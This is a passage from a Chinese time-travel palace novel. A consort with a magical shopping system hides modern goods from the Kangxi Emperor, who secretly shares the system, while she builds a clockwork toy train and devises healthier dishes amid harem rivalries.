她看着梁九功那张恭敬却疏离的脸,又看看那个低着头、看似恭顺的岑盐絮,一股巨大的屈辱和嫉恨猛地涌上心头。
她强压下几乎要脱口而出的质问,指甲狠狠掐进了掌心。
梁九功面上不显,心里却跟明镜似的。
这僖嫔仗着是已故赫舍里皇后的亲妹,太子的亲姨母,平日里总爱摆几分与众不同的款儿,时不时就想来乾清宫关怀太子或是偶遇皇上,心思活络得很。
今日这番敲打,也好让她醒醒神,看清自己的位置究竟在哪儿。
“既如此,本宫便不打扰皇上了。”僖嫔从牙缝里挤出这句话,努力维持着最后的体面,转身扶住宫女的手,仪态万方地离去,只是那背影怎么看都透着一股僵硬的怒气。
梁九功这才对岑盐絮道:“小主,请吧。”
岑盐絮暗暗松了口气,赶紧应了声,跟着梁九功迈过高高的门槛,走进了那灯火通明的乾清宫东暖阁。
而她身后,僖嫔走出不远,回头望了一眼那缓缓关闭的殿门,眼中最后一丝屈辱褪去,只剩下冰冷的怨怼。
好个岑氏!不过是个玩意儿似的低贱货色,也敢在万岁面前耍弄心机、在太子面前卖好,分明是在离间她们姨甥之情,想要攀附皇权!
这笔账,她记下了。
9. 比例尺
乾清宫东暖阁内灯火通明,暖意融融,驱散了春夜的微寒。
殿内弥漫着淡淡的龙涎香,与外间的清冷仿佛是两个世界。
晚膳早已摆好,依旧十分丰盛,但也依旧遵循着御膳食不厌精脍不厌细却偏清淡的风格。
岑盐絮小心翼翼地坐在康熙下首,秉持着食不言的规矩,安静地用着膳,心里却七上八下,生怕康熙问起上午的事,误会她刻意接近皇子。
就在这时,冰冷的电子音不期而至:
【叮!随机任务触发:请向当前会话对象详细讲解“轨道小火车设计图”至少五分钟,任务失败则今日秒杀通道关闭!】
岑盐絮拿着筷子的手几不可查地一抖。
她正想着瞒过皇帝这件事,这系统就要她对着皇帝讲解五分钟图纸?这破系统是真会挑时候、挑对象啊!
她脸上瞬间闪过的为难和僵硬,没能逃过康熙的眼睛。
他放下银箸,状似无意地开口,打破了沉默:“朕今日,看到你送往造办处的图样了。”
岑盐絮心头一紧,立刻放下筷子,垂首应道:“是妾身胡闹,雕虫小技,扰圣目清看了。”
“哦?朕倒觉得颇有巧思。”康熙语气平淡,听不出喜怒,“那发条驱动,轨道环行,你是如何想到的?”
他这话问得看似随意,却是在探究这份超乎她身份阅历能力的来源。
岑盐絮背后沁出薄汗,她脑中飞速旋转,面上却努力维持着镇定。
电光火石间,她忽然无比庆幸自己这个身体的原主出身广州府香山县——这地方未来会被划分为中山市、珠海市和澳门,如今也是沿海的口岸,西洋人聚居,商船往来不绝。
她顺势垂下眼睫,语气带着恰到好处的回忆与不确定,小心地胡诌道:“回皇上,妾身家乡是广州府香山县,幼时妾身常能在码头口岸,见到那些金发碧眼的西洋传教士与商人。曾有一次,便亲眼见过洋人带来一种靠发条行走的小狗玩偶,当时便觉惊奇万分,印象极深。”
她稍稍抬眼,观察了一下康熙的神色,才继续轻声说道:“后来家父在衙门理事,有时修缮水利塘堰,也会让工匠制作小型水车模型用以推演。妾身便不自量力,胡思乱想着,将那小狗的机关与水车的轮轴糅合了一下,胡乱画了个粗糙样子,只想着或许能博阿哥一笑,实在是不成体统。”
她语气带着恰到好处的羞涩和不确定,将一个县令之女偶然见识与自身一点小聪明结合的说法,演得八九不离十。
康熙闻言,目光微动,似是接受了这个解释。
早些年,香山县确有多地通商,见到西洋器物不算稀奇,她倒是会找理由。
“你那图纸确实不错,标注甚是详细,尺寸比例皆备。”他随口一提。
岑盐絮见他没有深究,心下稍安,任务当前,只得硬着头皮接话:“是,妾身想着,工匠师傅们制作起来也能方便些,这图上的尺寸都是按比例缩小绘制的,若是想等比例放大,做成更大的模型,甚至理论上,若能找到合适的动力,做成能载人的大小,也是遵循同一套比例规则即可。”
她这话半是真知灼见,半是为了凑够那五分钟讲解,几乎是绞尽脑汁地把能想到的相关概念都往外倒。
然而,说者无心,听者有意。
“等比例放大?”康熙捕捉到了这个词,墨玉般的眸子闪过一丝锐光。
他下意识地联想到舆图绘制、军械制造、乃至宫室建造!
若一切图纸都能遵循严格的比例,那岂不是……他心中瞬间掠过无数念头,仿佛触碰到了一个极有用处却尚未深思过的领域。
他再看向那虽仍被视为玩具的轨道小车图纸时,眼神已截然不同,少了几分轻视,多了几分审视和探究。
【叮!任务完成!恭喜宿主成获得今日随机秒杀商品资格!】
岑盐絮脑中响起提示音,终于暗暗松了口气。
康熙并未继续深究比例之事,有些念头需要慢慢消化,他转而问起胤礽和胤禔白日争执的细节,语气缓和了许多。
岑盐絮谨慎地回答着,偶尔提及两个孩子争执又和好的萌态,引得康熙嘴角也牵起一丝淡淡的笑意。
“保成自小便没个玩伴,保清回来后,他总算有了几分寻常的孩子气。”他道。
又说起二人的争执:“小孩子嘛,不通事理,吵吵闹闹很正常。”
年轻的他,是个包容又宽和的慈父。
殿内气氛一时颇为融洽,就在岑盐絮以为自己今晚要睡到皇帝的时候,晚膳结束后,康熙让岑盐絮退下,并未让她留宿。
刚走出宫门几步,就听到皇帝摆驾承乾宫的消息。
承乾宫,是贵妃佟佳氏的住处。
岑盐絮猛然想到,前皇后丧期刚过,皇帝已有近两月不入后宫,第一次宣召嫔妃侍寝这等殊荣,自然轮不到她一个小小官女子。
他去了如今后宫位份最高的佟佳氏那里,给足了她体面。
岑盐絮心中了然,并无半分波澜,这才是帝王心思,规矩体统一样不乱。
不过,康熙其人,天之骄子,龙章凤姿,日日在眼前晃悠,自己却吃不到,也是可惜。
回到自己的小院,屏退左右,关紧房门,岑盐絮迫不及待地打开了系统界面。
今日的秒杀商品刷新了出来:【榴莲、双开门冰箱、顶配台式电脑、电动车】。
每样下方都标注着诱人的一文钱秒杀价。
岑盐絮的眼睛瞬间瞪大了,呼吸都急促了几分!
冰箱!电脑!电动车!这都是穿越人士梦寐以求的神器啊!竟然只要一文钱!
然而,狂喜之后是巨大的悲愤。
后面三样东西,哪一样拿出来不得把这紫禁城掀个底朝天?她要怎么解释这凭空出现的、闻所未闻的钢铁巨物?怕不是立刻要被当成妖孽烧死!
巨大的诱惑与残酷的现实在她脑中激烈交战,最终,她只能含着一包热泪,颤抖着意念,选择了那个唯一看起来不那么超现实的——【榴莲】。
【支付成功!商品已发放!】
微光一闪,一个篮球大小、布满尖刺、散发着难以形容的浓郁气味的黄色果子,“咚”地一声落在了房间中央。
岑盐絮看着这个热带果王,闻着那霸道的气味,真是悲从中来,仰天长叹:“系
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统……我恨你!”
*
翌日,康熙下朝后,依着规矩,将如今后宫位份最高的钮祜禄妃、安敬端惠荣宜僖七嫔依次召见关心了一遍,又特意去看了几位育有公主的庶妃。
处处透着公允与体恤,让人挑不出错处。
岑盐絮听到康熙今日的行程后,直呼端水大师特种兵式逛后宫。
而沉寂了一月的后宫,也因为皇帝的到来,焕发起生机,这一月大家谁都不敢张扬打扮,生怕惹上不敬先皇后的罪名,今日过后,大概以往的万千美人争奇斗艳的日子,又要回来了。
康熙忙完这一切,回到乾清宫,才得空歇息。
想起昨日之事,他心念微动,眼前淡蓝色的光幕再次亮起。
他径直点开了拼小圈,果然看到了山今雪的最新动态:
“呜呜呜拼夕夕你没有心!!![怒][怒][怒]冰箱!电脑!小电驴!每一个都是我的梦中情物!每一个都只要一文钱!这是什么样的神仙活动!可我居然不敢买!不敢买啊!这破地方连个电都没有!抱回来就是一堆废铁还会被当妖怪抓起来!痛彻心扉!感觉错过了一个亿!!![泣不成声]最后只能含泪拿下这个大榴莲……味道也太冲了叭!为了不被发现,只能偷偷开窗对着冷风含泪吃完……又臭又香又冰,这体验也是没谁了[捂脸]……”
又是感叹号又是表情包的,这是岑盐絮最真情实感的一条拼小圈了。
下面还配了一张图,是一个怪模怪样、长满尖刺的黄色果子特写,旁边还有几块剥出的、黄澄澄的果肉。
康熙饶有兴致地读完那鲜活无比的抱怨,不禁失笑,甚至能想象出她对着那三样神物抓心挠肝、又不得不放弃的纠结模样。
“冰箱、电脑、小电驴。”他喃喃自语,虽不完全明白是什么,但从她那痛心疾首的语气也能猜到必定是极好的东西。
还有那榴莲……
好奇心起,他意念微动,点击了榴莲,选择了跟风购买。
微光一闪,一个同样布满尖刺、散发着强烈异味的巨大果子凭空出现在御案旁的地毯上。
那难以形容的气味瞬间弥漫开来。
康熙:“!!!”
侍立一旁的梁九功猛地吸了吸鼻子,脸色变得极其古怪,他飞快地瞟了一眼那突然出现的怪物,又看看面不改色(实则屏住呼吸)的万岁爷,嘴唇动了动,最终还是把话咽了回去,只是那眼神里写满了震惊与困惑——万岁爷这口味……未免也太独特了些!
康熙强忍着那扑面而来的臭气,看着梁九功那一言难尽的表情,再想到岑盐絮的描述,顿时觉得颜面有些挂不住。
他痛定思痛,看着那榴莲,下定决心。
此风不可长!下次定要想个妥帖的理由,让岑氏能光明正大地将那些好东西弄出来,也免得朕……再遭受此等无妄之灾!
至于这榴莲。
既然是来自系统的食物,自然应该有所神异,他还从未吃过如此之臭的食物,岑氏都能吃,他又有何不可?
康熙看向梁九功:“你去给朕剥开。”
梁九功指着自己:啊?这么臭,我剥吗?
10. 烤面筋
翌日,岑盐絮本是打定主意窝在院里不出门的。
昨日先是撞见两个阿哥的争执,再是乾清宫门前遇到僖嫔,说不定还被她记恨上了,出门两次遇到两次麻烦,岑盐絮实在是心累,生怕再撞上什么不该撞见的,平白惹来麻烦。
可一想到那毫无动静的系统,她又坐不住了。
这拼夕夕似乎偏好在与人交互时发布任务,闭门不出怕是行不通。
踌躇再三,岑盐絮决定选个相对安全的地方——御茶膳房。
一来,原主曾在御茶房当差,她去转转合情合理;二来,膳房里的人地位最高也不过是掌事的太监厨师,无论如何也越不过她这个主子去,断不会出现昨日那般被高位嫔妃堵门质问的窘境;三来,她也确实想去看看有什么新鲜食材,琢磨琢磨晚膳,满足一下自己的口腹之欲。
算算时间,此时正是康熙下了早朝回宫理政的时辰,出门不会冲撞圣驾,岑盐絮便带着春熙往御茶膳房走去。
此时阳光正好,驱散了些许寒意,也不灼人,越靠近御茶膳房,空气中弥漫的烟火气和食物混杂的香气便越发浓郁。
到了地界,说明来意,便有小太监通传。
很快,一个掌勺太监的徒弟便客客气气地将她引了进去。
一路行去,原主模糊了的记忆逐渐清晰起来,岑盐絮对这里的格局有了几分了解。
这御茶膳房内里分工极细,大体分为御茶房、膳房,以及负责供应肉食、存储的肉房和干肉库。
而这膳房,又分为内膳房与外膳房。
后宫那些没有小厨房的妃嫔,每日膳食皆由外膳房统一调配分送。
而岑盐絮此刻所在的这处,则是专供乾清宫膳食的内膳房,地位最为超然。
走进内膳房,里面依据差事不同,又设了荤局、素局、点心局、饭局、挂炉局等好几处,各司其职,太监宫女来来往往却忙而不乱,空气里交织着各种食材的香气与锅灶的热浪。
各式炉灶火光熊熊,大铁锅里热气腾腾,砧板上的剁肉声、锅铲的碰撞声、太监厨役们的低语声交织在一起,构成一派繁忙景象。
行至挂炉局附近,一股浓郁的烤肉香气扑面而来,几个太监正围着烤架忙碌。
岑盐絮正琢磨着晚上能不能也要些烤串来吃,忽听两个小太监躲在角落低声私语,话语顺着肉香飘进她耳中:
“老祖宗就想吃口挂炉局烤的羔羊腿,撒上重重的香料,啧啧,可万岁爷愣是不准,说御医嘱咐了,老人家得清淡养生。”
“可不是么,听说慈宁宫那边都不太高兴了,万岁爷上午去请安,出来时脸色都不太好。这祖孙俩为口吃的闹别扭,咱们底下人可真难做。”
几乎就在同时,那熟悉的电子音“叮”一声响起:
【随机任务触发:请帮助太皇太后与皇帝解决膳食矛盾,达到双方满意的成效。任务失败则今日秒杀通道关闭!】
岑盐絮脚步一顿。
康熙的担忧有道理,老年人确实不宜过多食用高油高盐的烧烤之物,但太皇太后她老人家如今就这点口腹之欲还被拦着,心里不痛快也正常。
硬拦着不行,完全放开也不行,那能不能做个既满足口腹之欲,又相对健康一点的食物?
她目光扫过挂炉局里挂着的各类食材,脑中飞速旋转。
忽然,她看到一旁盆里泡着的面筋——这玩意儿吸汁饱腹,口感似肉。
只不过在原主记忆里,这面筋只有御膳房包素馅饺子时,才会剁些进去增添口感,平日里是不用它来做菜的。
思忖片刻,她不动声色,如同寻常逛累了般,带着春熙便往回走。
回到自己院中不久,岑盐絮便唤来常喜,低声吩咐道:“常喜,你去一趟御茶膳房,就说我今日忽然想吃些烤肉,但又嫌往常的制法过于油腻,让他们想想办法。”
常喜领命欲走,岑盐絮又似想起什么,补充道:“哦,对了,你告诉他们,我想试试烤面筋,让他们把面筋开些花刀,刷油,放置烤炉上炙烤,撒上些寻常调料即可。”
“另外片些薄薄的肉片,分量也不必太多,我要用软薄的豆腐皮包裹着烤肉和些清爽的蔬菜、笋丝一同进食,再让他们拌个凉菜,将撕成丝的鸡腿肉卤好,配上焯熟的面筋、豆皮,用酱料和少许麻油调味,务必爽口些。”
常喜仔细记下后便快步前往御茶膳房。
那挂炉局的掌勺大太监正愁眉不展,听得乾清宫围房那位有几分圣宠的岑官女子派了太监来点餐,既保留了烤肉风味,又化解了油腻,简直像是为他眼前的困境量身定做的一般!
他先是愣住,随即恍然大悟!
这位小主哪里是真想点菜,分明是听到了风声,用这等周全的法子来指点他呢!
既全了彼此的脸面,又给了他一条明路,这等玲珑心思,这般不愿张扬的善意,着实令人感激。
掌勺太监心中大定,脸上愁容一扫而空,对常喜格外客气:“请回禀岑小主,奴才明白了,定精心制作,尽快给小主送去。”
他不仅严格按照岑盐絮的要求备好了她的膳食,还额外添了两盘菜并着两样精致点心,一同放入食盒。
不久,常喜便提着食盒回来了。
几乎在岑盐絮接过食盒的瞬间,脑海中的提示音响起:
【叮!任务完成!恭喜宿主开启今日秒杀!】
岑盐絮面色平静,并无意外之色。
她心中明了,能在御茶膳房混成大太监的,个个都是七窍玲珑心,自然悟出了她点餐的深意,这额外的孝敬,便是心照不宣的谢意,也意味着,这份善缘算是结下了。
出此迂回之策,岑盐絮自然不是故弄玄虚,只是太皇太后她老人家的膳食,她一个卑微官女子若直接上前指手画脚,非但于礼不合,更可能引火烧身。
此刻,虽然秒杀通道已经开放,但岑盐絮不可能放下刚到的膳食,关起门来去选购,那般行为举止实在太过诡异,于是她稍看了一
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眼今天刷新的商品,便开始用膳。
她拿起筷子,尝了一口那凉拌鸡丝面筋,花椒的麻香与酱料的咸鲜恰到好处,面筋吸饱了汤汁,口感韧劲十足。
味道确实不错。
慈宁宫那边,太皇太后对御膳房精心琢磨出的新菜式颇为受用,尤其是那烤面筋和豆腐皮卷烤肉,既解了馋,又不觉油腻,老人家多用了几筷,心情也舒畅不少。
底下人自然将这功劳和曲折,一五一十地报到了乾清宫,连同背后那位岑官女子的“无心”点拨。
康熙看着面前几上摆放的、与慈宁宫一模一样的膳食,听着太监的回禀,眸色深沉。
他指节轻轻叩着桌面。
岑盐絮此举看似迂回巧妙,却不符合她一贯在宫中力求低调、不惹是非的作风。
除非……有什么东西在背后驱使她必须这么做。
是了,定是那拼夕夕系统发布的任务无疑。
康熙心下恍然,随即又想起昨日自己还思忖着要为她寻个由头,好让那些好东西能见得天日。
眼下,她刚完成系统任务,岂不正是她最可能从系统中获取物品、也是自己前去撞破的最佳时机?
念头既定,康熙即刻起身,只带了梁九功等几个心腹,悄无声息地便往岑盐絮所住的围房院子而去。
到了院门,只见夏禾和常喜都守在外头,房门紧闭。
“皇上……”梁九功刚要通传,康熙便抬手制止了他。
他独自一人,免了奴才们的礼,放轻脚步,径直推门而入。
房门被无声推开,带进一丝外面的冷风。
屋内,岑盐絮正对着一块悬浮的光屏捶胸顿足,屏幕上四个图标清晰无比,分别是爱马仕包包、高跟鞋、棒棒糖和维生素套餐。
“爱马仕啊!一文钱的爱马仕啊!就这么没了!这破地方我背给谁看啊!高跟鞋更是想都别想……”她哀叹着,最终,含恨选择了那套维生素套餐。
“健康最重要!”她一边自我安慰,一边支付了一文钱。
微光一闪,五盒巴掌大小、造型简洁的白色塑料瓶凭空出现在桌上。
就在岑盐絮拿起药瓶,还没从痛失奢侈品的悲伤中完全走出来时,眼角的余光猛地瞥见了一角明黄色的袍子!
她心脏骤停,骇得魂飞魄散,猛地转头,只见康熙皇帝不知何时竟已站在屋内,正目光沉沉地看着她,以及她手中那个绝不该出现在这个时代的药瓶!
她身子一软,手中的药瓶险些脱手,想也不想便噗通一声跪倒在地,脸色煞白。
康熙将她方才那番自言自语和凭空取物的情景尽收眼底,心中已如明镜一般,面上却故作惊讶,带着几分恰到好处的威严与疑惑,走上前两步,目光落在那个白色药瓶上:
“岑氏,你手中是何物?朕方为何看见它凭空出现?你这是……在行什么术法?”
岑盐絮伏在地上,额头沁出冷汗,脑中一片空白,只剩下一个念头:完了!
11. 仙师
求生的本能压倒了恐惧。
岑盐絮不敢抬头,声音带着显而易见的颤抖,却努力维持着清晰:“皇上明鉴!妾身不敢行任何术法!此物……此物乃仙师所赐!”
“仙师?”康熙语气莫测。
“是……”岑盐絮心一横,在绑定系统的第一天,她就想到了系统神异会被发现的可能。
没想到这一天来得这样快。
她将之前打好的腹稿和盘托出:“妾身前些时日病重垂死之际,浑浑噩噩中,常见一位白须白发、仙风道骨的老者入梦,言与妾身有缘,欲收我为徒,命我需尽心护佑皇家,积修功德,妾身当时只求活命,便应下了。说来也奇,自那日后,未曾用药,身子竟一日日好转起来。”
“方才正是仙师显灵,赐下了仙药!”她一边说,一边悄悄抬眼观察康熙神色,见他面色虽仍严肃,但眉宇间的厉色似乎缓和了些许,心中稍定,继续道:“仙师言,此药并非治病,而是补充人体所需之元素。”
“仙师听闻太皇太后年事高,又尤喜肉食,或需此物滋养,瓶身上有使用说明,请您一观。”她说着,打开药盒,双手将药瓶和说明书高举过头顶。
康熙顺势接过,目光扫过那光滑的瓶身和印刷精良的说明书,经过这些天的历练,上面的字符他连蒙带猜也大概知晓是何意,与岑氏所说的功效一般无二。
他心中好笑,这丫头编得倒是有模有样,倒是有几分聪明。
这也正合他意。
“竟有此事……”康熙沉吟片刻,语气缓和了许多,“既是仙师厚赐,关乎皇祖母圣体,朕便信你一回。”
他伸手虚扶了一下,“起来回话吧。”
岑盐絮如蒙大赦,腿脚发软地站了起来,后背已被冷汗浸湿。
她伸手把药瓶往康熙那边一推:“妾身愿将仙药献出,望太皇太后凤体安康。”
康熙便唤来梁九功,从药瓶中各取出一粒药片,吩咐道:“仔细研磨成粉,拿去太医院,让他们小心查验成分、药性,不得有误。”
“嗻。”梁九功小心翼翼地接过那几粒小小的药片,躬身退下。
康熙又对岑盐絮安抚了几句,这才起身,让人带着剩下的药离开。
待康熙一走,岑盐絮直接瘫坐在了凳子上,长长地舒了一口气,感觉像是打了一场大仗。
惊魂稍定后,她又忍不住有些安心,这仙师弟子的身份虽说冒险,但好歹过了明路,以后从系统里拿东西,总算有个勉强说得过去的借口了!当真是祸兮福之所倚。
恰好此时系统提示她好评返现,岑盐絮无心再写评价,只简单糊弄够字数,又发布了拼小圈。
【叮!评价分享成功!获得好评返现:十两银子!】
看着突然拔高的返现金额,岑盐絮惊讶于系统的大方,却不知这羊毛终究出在康熙那只羊身上。
*
乾清宫东暖阁。
【主账号山今雪更新啦!】
【虽然今天被皇帝人赃并获当场捉了个现行,差点体验了一把gg结局,但聪明机智的本人还是虎口逃生啦!】
大致理解了是什么意思,康熙勾唇,会心一笑。
看到眼前光幕上出现跟风买一件,每件十两银子的选项,康熙果断选择购买一百份,弹出的购买界面上却显示【限购30份】。
他回想起之前的三九感冒灵也被限购,而像被褥之类的寻常物品却无此限制,心下明了:看来这拼夕夕对药物等珍稀之物的流通管控甚严。
上次的感冒灵,经太医院查证,极其灵验,这次的维生素,也能如此吗?
康熙毫不犹豫地将30份维生素全部买下。
微光连闪,御案旁的空地上顿时堆起了一小堆一模一样的白色药盒。
就在他支付成功的瞬间,远在围房的岑盐絮看到自己的系统界面突然一暗,弹出一行提示:
【喜报!当前世界官方权威已初步认可本系统存在,系统进入强
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制休眠升级阶段,所有功能将暂时无法使用,预计更新时间:72小时。】
岑盐絮愣了一下,官方认可?是指康熙皇帝吗?
她猜测或许是刚才发生的事触发了什么机制,但信息太少,也想不出个所以然来,只好暂且放下。
然而,还没等她缓过神,乾清宫的太监便来传旨,宣她即刻见驾。
岑盐絮的心又提了起来,生怕皇帝回过味来,不信她那套说辞。
她踏入东暖阁,刚一行礼,就被眼前的情景惊呆了——地上赫然堆着几十瓶和她那个一模一样的维生素套餐!
“平身吧。”康熙的声音传来,“朕方才心念一动,想再仔细看看你那仙药,谁知这些物件便凭空出现,与此同时,朕的私库里,三百两银子不翼而飞。”
岑盐絮第一反应是:这系统也太黑了吧!卖我一文钱,卖你十两?
但这话她可不敢说,立刻换上惊喜交加的表情,顺势跪下:“恭喜皇上!贺喜皇上!此乃祥瑞啊!仙师定是感知皇上诚孝之心,眷顾大清,才显此神迹!”
她一番吹捧,言辞恳切。
康熙扶她起身,心中也松了口气。
至此,这商城所得的商品,算是在彼此面前过了明路,往后倒不必再遮遮掩掩,可以更方便地加以利用了。
这日,用罢御膳房精心准备的早膳,岑盐絮正盘算着今日做些什么,院门外便传来了造办处太监求见的声音。
常喜引着那太监进来,太监打了个千儿,满脸堆笑:“给岑小主道喜,您吩咐给两位阿哥制作的轨道小火车已然完工了,奴才们给您送过来看看可还满意?若有不妥之处,奴才们即刻拿回去修改。”
岑盐絮心下期待,点头允了。
几个小太监小心翼翼地将一个用红布覆盖的物件抬了进来,放在院落空地上。
揭开红布,岑盐絮不由得深吸了一口气。
眼前的小火车和轨道,远比她想象的还要精美!
12. 震撼
只见轨道通体由深色名贵木材制成,长约一米,蜿蜒成流畅的八字形。
火车头雕刻成威猛的兽首模样,眼睛处甚至镶嵌了小小的黑色琉璃石,显得炯炯有神。
后面拉着三节小巧的车厢,每一节的车门都是可以开合的,岑盐絮上前轻轻拉开一扇车门,只见里面的小窗、座椅一应俱全,虽因技术所限,车窗无法镶嵌玻璃,只是镂空雕刻出花纹,但这份精细已足够令人惊叹。
岑盐絮抚摸着光滑的车身,心里涌起一股巨大的成就感。
作为一名玩具设计师,看到自己设计的图纸被如此完美地实现,甚至超出了预期,不禁让她在心底怒骂前公司一百遍——看看人家清朝人都能复原设计图!凭什么到了现代就一会儿说这个超出成本、一会儿说那个太过复杂了?!
还得是御用的专业团队!这完全是工艺品。
岑盐絮都想留下来自己玩了。
她这边正欣赏着,院门外又传来了动静。
原来是太子胤礽和大阿哥胤禔下了学,两人心心念念着新玩具,跑去问梁九功岑娘娘在何处,恰巧被康熙听到。
而康熙今日政务不多,也想看看这被岑盐絮夸下海口的玩意儿究竟如何,便带着两个儿子一同过来了。
“妾身给皇上请安,给太子殿下、大阿哥请安。”岑盐絮带着身后一众太监宫女屈膝行礼。
“都起来吧。”康熙摆了摆手,目光随即被院落中那轨道小火车吸引了过去。
“哇!”胤礽和胤禔几乎是同时惊呼出声,两双眼睛瞬间瞪得溜圆,挣开嬷嬷的手就跑了过去,围着那巨大的火车和轨道,想摸又不敢贸然伸手,小脸上满是激动和不可思议。
“这个怎么玩呀?”胤礽仰着头,迫不及待地问。
岑盐絮笑着走上前,蹲下身,指着火车头侧面的一个小小钥匙孔:“殿下看这里,用这个特制的小钥匙,像上发条一样,拧上几圈。”她示意造办处的太监操作。
那太监将火车稳稳放在轨道起点,取出一个精致的铜制小钥匙,插入孔中,小心翼翼地拧了十几圈。
“好了,”岑盐絮对两位眼睛一眨不眨的小阿哥说,“现在,是见证奇迹的时刻。”
只见那火车头微微颤动了一下,随即“咔哒”一声,竟自己缓缓向前动了起来!
轮子压在光滑的木轨上,发出轻微的咕噜声,拉着后面的车厢,沿着八字形轨道平稳地运行起来,当然,动力不仅靠发条,还靠八字形轨道借助了重力的巧妙设计。
“动了!它自己动了!”胤禔激动地跳了一下。
“皇阿玛您看!它真的自己会跑!”胤礽紧紧抓着康熙的袍角,兴奋得小脸通红,目光紧紧追随着运行的小火车,看着它穿过拱形轨道模拟出的山洞,绕过弯道,一刻也舍不得移开。
康熙负手而立,面色看似平静,但眼底深处的震撼却难以掩饰。
他的目光没有过多流连于火车精美的外观,而是紧紧锁在那无需外力、自行奔跑的机关和那环环相扣、承载其运行的固定轨道上。
这绝非简单的玩物!
若真有这般无需畜力、能持续奔跑的巨车,用于转运漕粮、输送军资……那将对社稷产生何等影响?
他仿佛看到了无数这样的车辆,在固定的轨道上日夜不息,将南方的粮米源源不断运往北方,将京师的甲胄兵刃迅速送抵边关……
然而,这激动的念头只是一闪,便被现实压下。
且不说如何造出如此庞大的车辆和绵延千里的轨道,单是这动力来源——这小小的发条,或是几十匹战马,又如何能驱动万斤之重?
如今三藩战事未平,军费开支浩大,国库空虚,岂能为了此等虚无缥缈之事,再兴土木,劳民伤财?
他心中暗叹一声,目光复杂地看了一眼正耐心向两个孩子讲解玩具的岑盐絮。
无法想象,你还能带给朕,怎样的惊喜。
*
与此同时,僖嫔在自己宫里坐立难安。
皇帝连着几日都见了那岑官女子,今日竟还带着太子一同去了她那围房!
这成何体统!
再加上赫舍里氏留给她的人打探到,昨日岑盐絮竟敢插手太皇太后的膳食,御膳房送去慈宁宫的菜式,竟是依了那岑氏的点拨!
“真是岂有此理!”僖嫔气得摔了一个茶盏,“狐媚圣听不说,如今连太皇太后她都敢妄加干涉了!还有没有上下尊卑!”
她心念急转,立刻吩咐宫女:“更衣,去宣嫔那里!”
来到宣嫔所居的宫苑,僖嫔换上一副忧心忡忡的面孔。
“妹妹可听说了?”僖嫔拉着宣嫔的手,语气急切,“就是那个姓岑的官女子,如今可是了不得了!”
宣嫔来自蒙古,性子爽直,见她如此,疑惑道:“姐姐这是怎么了?一个官女子,还能翻天了不成?”
“哎哟,我的好妹妹,你是不知道!”
僖嫔压低声音:“她也不知使了什么手段,哄得皇上连着召见,今日竟还把太子和大阿哥都引到她那儿去了!这且不说,她竟敢妄议太皇太后的膳食!”
前半句,宣嫔还无所谓,听到太皇太后相关,她立刻皱起了眉:“竟有此事,她竟敢对太皇太后的膳食指手画脚?”
“千真万确!”她一番添油加醋,“昨日慈宁宫的菜,就是她撺掇着御膳房改的!这简直是胆大包天!太皇太后她老人家年纪大了,膳食何等紧要,岂容她一个低贱官女子置喙?万一出了差池,谁担待得起?”
“那你待如何?”宣嫔是个没主意的。
僖嫔道:“妹妹,你我深受皇恩,又得太皇太后怜爱,岂能坐视此等不识尊卑之人横行?不如你我一同去慈宁宫,将此事禀明太皇太后,请她老人家做主,可不能让她蒙在鼓里!”
宣嫔被她一番鼓动,也觉得岑氏此人不妥,便点头应下。
两人一同来到慈宁宫。
听罢僖嫔一番义愤填膺的陈述,太皇太后慢悠悠地拨动着手中的佛珠,脸上看不出什么情绪。
“哦?还有这等事?”太皇太后抬眼,目光平静地扫
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过僖嫔,“怪不得呢,昨儿个御膳房送来的烤薄肉和那凉拌鸡丝,哀家吃着甚是爽口,还以为是他们突然开了窍,原来是岑氏给出的主意。”
僖嫔一愣,忙道:“老祖宗,她一个官女子,岂能……”
“诶——”太皇太后打断她,语气温和却带着不容置疑,“哀家觉得挺好。皇上孝顺,怕哀家吃多了油腻身子不受用,御膳房那起子蠢材又只会硬拦着。岑官女子心思灵巧,是个懂事的孩子,哀家还得谢谢她呢。”
“……”僖嫔一口气堵在胸口,脸上一阵青白。
宣嫔见状,也讪讪地不敢再多言。
太皇太后端起茶盏,轻轻吹了吹:“行了,你们的心意哀家知道了,没什么事就回去吧,哀家也乏了。”
僖嫔和宣嫔只得悻悻告退。
看着她们离去的背影,太皇太后摇了摇头,对身旁的苏麻喇姑道:“瞧瞧,这就坐不住了。”
苏麻喇姑笑着递上一杯新茶:“年轻人,难免气盛些。”
太皇太后叹了口气:“玄烨那孩子,我一向是放心的,他绝非沉溺女色之人,只是这几日对这岑氏,确实有些不同,接连召见,还带着保成过去……”
苏麻喇姑温声道:“皇上做事,向来有他的道理。”
她想到什么,便继续道:“许是这岑官女子确有过人之处?奴婢听说,她给两位阿哥做了个极精巧的玩意儿,叫什么小火车,无需马匹,便能自己个儿在轨道上跑呢,阿哥们喜欢得不得了。”
“自己能跑的车?”太皇太后闻言,眼中露出一丝好奇和感慨,“若世上真有这样的车,那哀家,是不是也能随时回科尔沁草原看看了……”
她的目光望向窗外,带着一丝遥远的怅惘。
苏麻喇姑笑着开解她:“说不定,真的能有那一天呢。”
太皇太后收回目光,恢复了平静:“你贯会打趣哀家,罢了,等皇帝下次来请安,哀家再问问他,这岑氏究竟有何过人之处,竟让他日日流连。”
乾清宫的人抬着小火车离开后,围房的小院重归宁静。
直至午后,预想中皇帝因阿哥欢喜而赏下的东西并未送来,院子里静悄悄的。
春熙有些惴惴不安,收拾东西时都心不在焉,忍不住小声对夏禾嘀咕:“夏禾姐姐,皇上和阿哥们都那么喜欢那小火车,怎么一点表示都没有?是不是我哪里没伺候好,连累了主子?”
夏禾比她沉稳,宽慰道:“别胡思乱想,皇上行事自有深意,岂是你我能揣度的。主子都没说什么呢。”
常喜也道:“许是皇上忙着政务,还没顾上。”
岑盐絮确实没往心里去,做个玩具对她而言信手拈来,初衷就是为了化解两个小孩的争执,逗他们开心,本就没图什么回报。
她正饶有兴致地翻看着内务府新送来的几本闲书,对那点不符常理的赏赐缺失毫不在意。
然而,这宫里的风,总是吹得很快。
不多时,岑官女子献宝却未被皇帝赏赐的消息,就像长了翅膀一样飞遍了各宫。
13. 侍寝
刘官女子的住处,她那心腹宫女正眉飞色舞地禀报:“……小主您是没瞧见,那起子人抬着那么大的家伙什儿,浩浩荡荡地回乾清宫,岑氏却什么赏赐都没得到!奴婢早就说了,她那点子狐媚功夫,上不得台面,皇上也就是图个新鲜,果然转眼就将她忘了!”
刘官女子捏着帕子,轻轻“嗯”了一声,眼底却掠过一丝不易察觉的复杂。
延禧宫内,惠嫔听闻消息,嘴角勾起一抹冷笑。
